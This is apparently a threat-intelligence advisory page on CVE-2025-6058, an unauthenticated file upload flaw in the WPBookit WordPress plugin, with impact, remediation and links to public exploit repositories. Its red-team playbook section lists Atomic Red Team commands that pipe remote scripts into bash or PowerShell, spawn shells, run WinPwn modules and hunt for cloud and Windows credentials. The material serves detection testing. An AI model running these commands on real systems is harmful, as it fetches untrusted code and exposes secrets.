CVE-2025-6058
Overview
This vulnerability is an arbitrary file upload issue caused by inadequate file type validation within the image_upload_handle() function of the WPBookit WordPress plugin. The flaw resides in the booking type controller component, specifically in the code handling the 'add_booking_type' route. The lack of validation allows unfiltered input to be processed as image uploads, enabling malicious file injection on the server side.
Vulnerability Description
The WPBookit plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the image_upload_handle() function hooked via the 'add_booking_type' route in all versions up to, and including, 1.0.4. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
Impact
An unauthenticated attacker can exploit this vulnerability to upload malicious files directly to the server hosting the WordPress site, potentially leading to remote code execution. This enables full compromise of the affected system, including data theft, website defacement, or pivoting within the internal network. The attack requires no privileges or user interaction (CVSS vector AV:N/AC:L/PR:N/UI:N), making it highly exploitable and critical for sites using the vulnerable WPBookit plugin versions.
Solution
Users should upgrade the WPBookit plugin to a version later than 1.0.4 where the arbitrary file upload vulnerability has been addressed. Detailed patch information and remediation steps are available through the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/1d779ad1-fdbe-444c-85c5-99146a1a03d8. Review the plugin's changelog and update promptly to mitigate this issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the WPBookit plugin for WordPress is primarily due to inadequate validation of file types during the image upload process. Specifically, the flaw resides in the image_upload_handle() function, which is invoked via the 'add_booking_type' route. This oversight allows for arbitrary file uploads, meaning that an attacker can upload files of any type, including potentially malicious scripts. The absence of stringent checks on the file type opens a pathway for attackers to execute arbitrary code on the server, which can lead to severe security breaches.
Exploitation of this vulnerability can occur through various attack vectors. An unauthenticated attacker can leverage the flawed upload functionality to submit a crafted request containing a malicious file. Once the file is uploaded to the server, the attacker can execute it, leading to remote code execution. This scenario is particularly concerning as it does not require any prior authentication, allowing attackers to target vulnerable sites indiscriminately. Furthermore, the ease of exploiting this vulnerability could lead to widespread attacks, especially against sites that utilize the WPBookit plugin without proper security measures.
The real-world impact of this vulnerability is significant. Successful exploitation can result in unauthorized access to sensitive data, complete server compromise, and the potential for further attacks on the underlying infrastructure. Businesses relying on the WPBookit plugin may face severe reputational damage, loss of customer trust, and potential legal ramifications if sensitive customer data is exposed. Additionally, the high CVSS score of 9.8 indicates that this vulnerability poses a critical risk, making it imperative for organizations to address it promptly to mitigate potential fallout.
To detect and mitigate this vulnerability, organizations should implement several strategies. First, regular security audits and vulnerability assessments should be conducted to identify and remediate such flaws in third-party plugins. Employing a web application firewall (WAF) can help filter out malicious requests and prevent unauthorized file uploads. Additionally, updating the WPBookit plugin to the latest version, where this vulnerability has been addressed, is crucial. Organizations should also consider implementing strict file type validation and limiting file upload capabilities to trusted users only. Educating staff about the risks associated with third-party plugins and the importance of maintaining updated software can further enhance security posture.
In conclusion, the vulnerability in the WPBookit plugin highlights the critical need for robust security measures in web applications, particularly those that allow user-generated content. The potential for arbitrary file uploads underscores the importance of thorough input validation and the need for organizations to remain vigilant against emerging threats. By adopting proactive detection and mitigation strategies, businesses can safeguard their systems and protect sensitive data from exploitation.
CSURFACE threat intelligence has identified a measurable increase in the Exploit Prediction Scoring System (EPSS) for CVE-2025-6058, reflecting a growing likelihood of exploitation in the near term. This upward adjustment, now placing the vulnerability in the 96th percentile, signals heightened attacker interest and potential prioritization within exploit development communities. Concurrently, new proof-of-concept exploits have surfaced on public repositories, broadening the accessibility of attack methods to a wider range of threat actors, including less sophisticated adversaries. While our telemetry does not indicate a rapid surge in active exploitation attempts, the expanded availability of exploit code combined with the elevated EPSS underscores an increased risk posture for organizations running vulnerable WPBookit plugin versions. This shift necessitates heightened vigilance as the window for opportunistic compromise narrows, and the potential for remote code execution exploits becomes more imminent.
Affected Products (1)
| Vendor | Product | Version | CPE | |
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Iqonic | Wpbookit | All |
cpe:2.3:a:iqonic:wpbookit:*:*:*:*:free:wordpress:*:*
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Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
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GitHub PoCs (3)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
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0xgh057r3c0n/CVE-2025-6058
WordPress WPBookit ≤ 1.0.4 Unauthenticated File Upload Exploit
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0xgh057r3c0n | 1 | 0 | 2025-07-22 | View |
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Nxploited/CVE-2025-6058
WPBookit <= 1.0.4 - Unauthenticated Arbitrary File Upload
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Nxploited | 0 | 1 | 2025-07-12 | View |
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JayVillain/Scan-CVE-2025-6058
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JayVillain | 0 | 0 | 2025-07-13 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
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CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
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High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
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Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
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References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
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https://nvd.nist.gov/vuln/detail/CVE-2025-6058 |
| wordfence.com |
GitHub CVE
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https://www.wordfence.com/threat-intel/vulnerabilities/id/1d779ad1-fdbe-444c-85c5-99146a1a03d8?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
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https://plugins.trac.wordpress.org/browser/wpbookit/trunk/core/admin/classes/controllers/class.wpb-booking-type-controller.php#L455 |
| plugins.trac.wordpress.org |
GitHub CVE
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https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3314288%40wpbookit&new=3314288%40wpbookit&sfp_email=&sfph_mail= |